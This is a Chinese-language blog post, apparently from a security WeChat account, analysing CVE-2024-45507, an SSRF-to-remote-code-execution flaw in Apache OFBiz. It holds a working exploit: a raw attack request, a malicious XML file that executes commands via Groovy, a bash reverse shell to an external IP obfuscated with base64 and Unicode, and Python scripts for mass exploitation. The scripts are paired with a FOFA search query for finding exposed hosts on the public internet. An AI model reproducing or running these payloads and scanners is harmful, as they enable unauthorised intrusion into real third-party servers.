NEWS TODAY
本篇文章大纲:
1、漏洞介绍
2、环境搭建
3、漏洞复现
4、Poc与EXP编写
5、漏洞产生源码分析
7、公网实战运用
Apache OFBiz介绍
该项目是一个开源的电子商务平台,提供创建基于最新的J2EE/XML规范和技术标准。各模块之间的功能比较松散,用户可以根据自己的需求进行拆卸整合,非常灵活。
漏洞描述
该漏洞属于Apache OFBiz中的服务器端请求伪造SSRF漏洞,目前升级到18.12.16版本即可修复该问题。
漏洞影响范围
version < 18.12.16
源码下载
https://github.com/apache/ofbiz-framework/archive/refs/tags/release18.12.12.tar.gz
环境搭建
这里我是用Debian进行搭建,我们直接运行目录下的gradlew文件,如果是Windows系统就需要运行gradlew.bat
安装:
./gradle/init-gradle-wrapper.sh
./gradlew cleanAll loadAll
./gradlew cleanAll "ofbiz --load-data readers=seed,seed-initial" loadAdminUserLogin -PuserLoginId=admin
如果访问不了可以尝试添加可以访问的白名单
vim framework/security/config/security.properties
找到host-headers-allowed添加访问时的IP头
运行之前记得先加上执行权限
最后运行命令:
./gradlew ofbiz
之后出现这样的提示,我们就需要等大概几分钟,让他加载,直到提示
这样就可以了。
访问靶机的IP地址
财务登录:https://192.168.195.130:8443/accounting
管理员地址:https://localhost:8443/webtools
订单登录:https://localhost:8443/ordermgr
默认登录用户名密码:admin/ofbiz
漏洞利用
漏洞是通过ssrf方式进行入侵,也就是说我们需要通过对方服务器,对外发起请求,那么我们就需要在一台服务器上,架设一个XML文件,用以对方远程加载,同时XML文件中包含命令执行语句,以此来加载RCE操作。
复现测试
这里我配置之后,通过发送数据包
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 192.168.195.130:8443
Content-Length: 55
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: https://192.168.195.130:8443
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.195.130:8443/webtools/control/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
statsDecoratorLocation=http://101.43.1.181:8000
这里编写一个测试的rce.xml,测试看看是否可以远程执行我的xml中的命令
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'curl 101.43.1.181:8888'.execute();}"/>
</actions>
</section>
</screen>
</screens>
我这里首先在我服务器中开启python的远程下载服务,配置8000端口,提供xml进行远程执行,执行命令为访问我服务器的8888端口,同时我开始python远程8888端口来监测命令是否执行。
可以成功的访问并且执行。
Payload编写
payload编写这里,我使用python进行模拟发包
#!/usr/bin/env python3
import requests
import re
import urllib3
import concurrent.futures
# 忽略不安全的 HTTPS 请求警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 读取 IP 地址
with open('ip.txt', 'r') as file:
ips = file.read().splitlines()
url_template = "https://{ip}:8443/webtools/control/forgotPassword/StatsSinceStart"
headers = {
"Content-Length": "55",
"Cache-Control": "max-age=0",
"Sec-Ch-Ua": '"Chromium";v="127", "Not)A;Brand";v="99"',
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Ch-Ua-Platform": '"Windows"',
"Accept-Language": "zh-CN",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive"
}
data = {
"statsDecoratorLocation": "http://101.43.1.181:8000/rce.xml"
}
# 正则表达式用于完全匹配特定字符串
pattern = re.compile(r"<!-- Begin Screen http://101.43.1.181:8000/rce.xml#StatsDecorator -->")
matched_ips = []
# 发送请求的函数
def send_request(ip):
url = url_template.format(ip=ip)
headers["Origin"] = f"https://{ip}:8443"
headers["Referer"] = f"https://{ip}:8443/webtools/control/login"
try:
response = requests.post(url, headers=headers, data=data, verify=False) # verify=False 禁用 SSL 验证
# 检查回显包是否包含指定的完全匹配内容
if pattern.search(response.text):
print(f"Matched response from {ip}")
return ip
else:
print(f"No match for {ip}")
return None
except requests.exceptions.RequestException as e:
print(f"Error connecting to {ip}: {e}")
return None
# 使用多线程执行请求,max_workers设置线程数量
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(send_request, ip) for ip in ips]
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
matched_ips.append(result)
# 将匹配的 IP 地址输出到 out.txt
if matched_ips:
with open('out.txt', 'w') as outfile:
outfile.write("n".join(matched_ips))
print("Matching IPs have been written to out.txt")
else:
print("No IP returned a matching response.")
EXP编写
首先我们需要反弹shell的命令
bash -i >& /dev/tcp/101.43.1.181/9999 0>&1
然后将这个shell进行base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMS4xODEvOTk5OSAwPiYx
再将这个base64加密后的放置在下面的代码中
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMS4xODEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
最后将上面的代码进行Unicode加密
u0062u0061u0073u0068u0020u002Du0063u0020u007Bu0065u0063u0068u006Fu002Cu0059u006Du0046u007Au0061u0043u0041u0074u0061u0053u0041u002Bu004Au0069u0041u0076u005Au0047u0056u0032u004Cu0033u0052u006Au0063u0043u0038u0078u004Du0044u0045u0075u004Eu0044u004Du0075u004Du0053u0034u0078u004Fu0044u0045u0076u004Fu0054u006Bu0035u004Fu0053u0041u0077u0050u0069u0059u0078u007Du007Cu007Bu0062u0061u0073u0065u0036u0034u002Cu002Du0064u007Du007Cu007Bu0062u0061u0073u0068u002Cu002Du0069u007D
该漏洞目前已知情况是需要出网的,我们在攻击之前需要在攻击的主机上架设xml来远程加载执行。
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'u0062u0061u0073u0068u0020u002Du0063u0020u007Bu0065u0063u0068u006Fu002Cu0059u006Du0046u007Au0061u0043u0041u0074u0061u0053u0041u002Bu004Au0069u0041u0076u005Au0047u0056u0032u004Cu0033u0052u006Au0063u0043u0038u0078u004Du0044u0045u0075u004Eu0044u004Du0075u004Du0053u0034u0078u004Fu0044u0045u0076u004Fu0054u006Bu0035u004Fu0053u0041u0077u0050u0069u0059u0078u007Du007Cu007Bu0062u0061u0073u0065u0036u0034u002Cu002Du0064u007Du007Cu007Bu0062u0061u0073u0068u002Cu002Du0069u007D'.execute();}"/>
</actions>
</section>
</screen>
</screens>
源码分析
大致漏洞情况分析
参考网上的漏洞分析,该漏洞主要是两个方面引发的问题,首先是可以引入外部远程文件来渲染screen
根据xml的配置文件,我们编写payload格式就基于下面的配置文件格式
groovy是用于设置加载字段的值,但是我们也可以在后面构造命令可以使其命令执行。这样就可以编写我们的payload。
分析一下漏洞产生的第二个原因
从网上资料来看,该漏洞另一个原因在于eventReturn,只要这个里判断为true,即可调用findTemporalExpression
那么我们理解一下这里,反推一下,我们想要findTemporalExpression能被调用,就要查看哪些路由可以直接调用,也就是返回true。
经过测试,两个目录下可以返回true
/webtools/control/main/findTemporalExpression
/webtools/control/forgotPassword/findTemporalExpression
也就是说,在这两个路由下,均可以在未授权的情况下处理findTemporalExpression(也就是xml配置文件中的screen名)。
而findTemporalExpression中的参数又可以调用外部的xml执行
那么再往上看,其实我们就只需要进行一点, 那就是看看哪些路由可以在未授权的情况下去调用findTemporalExpression。
分析renderView方法
该方法的上层逻辑,首先是上面登录路由判断的方法中,会判断你登陆的一个状态,返回的三种不同的值:success、requirePasswordChange、error,然后eventReturn会根据上面三种不同值进行判断,来确定renderView函数传递什么内容。
那么renderView又实现哪些功能呢。首先是renderView值在controller.xml获取xml配置,然后从xml配置文件中会指向TempExprScreens.xml这个配置文件,那么TempExprScreens.xml这个配置文件,其中涉及到findTemporalExpression的值中就包含了tempExprDecoratorLocation这个参数,类似于payload中statsDecoratorLocation参数,都可以从外部引入xml。
为什么使用statsDecoratorLocation作为payload
这里我们定位到参数的位置,可以看到参数属于webtools/widget
该参数再文件中主要用于动态指定装饰器模板,也就是说,再我们引用他,该参数可以执行一个外部的装饰器模板文件,该文件可以决定界面的元素,比如页面结构,样式或者布局。
那么我们通过模仿他内部装饰器的编写方式,可以写出payload。
${parameters.statsDecoratorLocation} 在正常情况下可以让页面在同一个页面中复用不同的装饰器模板。
分析流程总结
首先SSRF漏洞的原因,就是因为客户端对用户输入的参数未进行严格校验,也就是说我们的statsDecoratorLocation参数,从外部引入模板,在findTemporalExpression,forgotPassword两个路由下,可以通过校验,eventReturn返回true即可通过校验,可以在这两个路由下,构造statsDecoratorLocation参数(或者其他可利用参数),远程调用xml文件。主要代码流程如下:
1、首先了解了login路由登陆后的三种不同登录状态判断方法
2、eventReturn参数会根据登录状态不同传递给renderView函数具体的内容
3、如果eventReturn判断为true,那么就可以通过renderView进行调用xml配置文件
4、成功调用配置文件后,会调用到配置文件中的findTemporalExpression,这其中的参数 ${parameters.statsDecoratorLocation} 可以调用外部的xml来渲染。
5、最后测试出哪些路由可以在未授权的情况下,eventReturn会判断正确,那么这些路由就可以进行远程xml的调用。
公网实战漏洞寻找
Fofa语句
"Apache OFBiz" && port="8443" && country="CN"
漏洞批量利用
这里我下载一些下来,保存为txt文件
使用上面写的payload可以进行批量获取。
使用方式,首先需要在一台公网服务器上开启一个类似dnslog用于接收回显的服务端,我这里使用的是服务器中python的http server
所以我构造的逻辑是
1、首先我们需要忽略掉不安全的https警告,不然无法访问
2、从txt中读取IP地址,替换掉payload数据包中的IP
3、正则匹配回显值
4、遍历所有IP并且发送请求,检查回显是否存在正则匹配的内容,返回是否匹配
5、最后将匹配的结果输出到out.txt中
#!/usr/bin/env python3
# -*- coding: cp936 -*-
import requests
import re
import urllib3
# 忽略不安全的 HTTPS 请求警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 读取 IP 地址
with open('ip.txt', 'r') as file:
ips = file.read().splitlines()
url_template = "https://{ip}:8443/webtools/control/forgotPassword/StatsSinceStart"
headers = {
"Content-Length": "55",
"Cache-Control": "max-age=0",
"Sec-Ch-Ua": '"Chromium";v="127", "Not)A;Brand";v="99"',
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Ch-Ua-Platform": '"Windows"',
"Accept-Language": "zh-CN",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive"
}
data = {
"statsDecoratorLocation": "http://101.43.1.181:8000/rce.xml"
}
# 正则表达式用于完全匹配特定字符串
pattern = re.compile(r"<!-- Begin Screen http://101.43.1.181:8000/rce.xml#StatsDecorator -->")
matched_ips = []
# 遍历所有 IP 并发送请求
for ip in ips:
url = url_template.format(ip=ip)
headers["Origin"] = f"https://{ip}:8443"
headers["Referer"] = f"https://{ip}:8443/webtools/control/login"
try:
response = requests.post(url, headers=headers, data=data, verify=False) # verify=False 禁用 SSL 验证
# 检查回显包是否包含指定的完全匹配内容
if pattern.search(response.text):
print(f"匹配参数IP:{ip}")
matched_ips.append(ip)
else:
print(f"不匹配IP:{ip}")
except requests.exceptions.RequestException as e:
print(f"错误IP,连接不通{ip}: {e}")
# 将匹配的 IP 地址输出到 out.txt
if matched_ips:
with open('out.txt', 'w') as outfile:
outfile.write("n".join(matched_ips))
print("漏洞IP已保存至out.txt")
else:
print("没有含有漏洞的IP地址")
原文始发于微信公众号(白安全组):CVE-2024-45507分析学习(Poc,EXP)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论